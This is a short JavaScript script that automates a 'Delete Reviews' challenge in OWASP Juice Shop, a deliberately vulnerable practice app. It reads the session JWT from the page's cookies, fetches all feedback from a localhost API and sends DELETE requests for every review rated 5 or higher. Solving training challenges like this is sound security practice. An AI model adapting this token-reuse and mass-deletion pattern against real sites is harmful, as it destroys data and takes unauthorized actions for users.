Script that automates the "Delete Reviews" exploit in OWASP JuiceShop app.

HTTP-Batch-Request.js

//req = type of HTTP request (POST, GET, DELETE etc.)
//theUrl = path to make the request to
//JWT = JWT Token to be injected into token cookie and authorization header
function httpReq(req, theUrl, JWT){
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open(req, theUrl, false );
    xmlHttp.setRequestHeader("Authorization", "Bearer "+JWT);
    xmlHttp.withCredentials = true;
    xmlHttp.send( null );
    return xmlHttp.responseText;
}

//returns token cookie out of list of cookies.
function getJWT(){
    var cookies = decodeURIComponent(document.cookie).split(";");
    for(var i = 0; i < cookies.length; i++){
        if(cookies[i].includes("token")){
            cookies = cookies[i];
            break;
        }
    }
    return cookies.substring(cookies.indexOf("=")+1);
}

//* Request Feedback JSON Data *//
var url = "http://localhost:3000/api/Feedbacks/";
var JWT = getJWT();
var responseData = httpReq("GET", url, JWT);

//* Enumerate through JSON data and find id's of feedbacks with ratings of 5+ *//
//* DELETE request all feedback objects with ratings greater >=5 *//
var rawJson = JSON.parse(responseData).data;
for(var i = 0; i < rawJson.length; i++){
    if (rawJson[i].rating >= 5){
        httpReq("DELETE", url+rawJson[i].id, JWT);
    }
}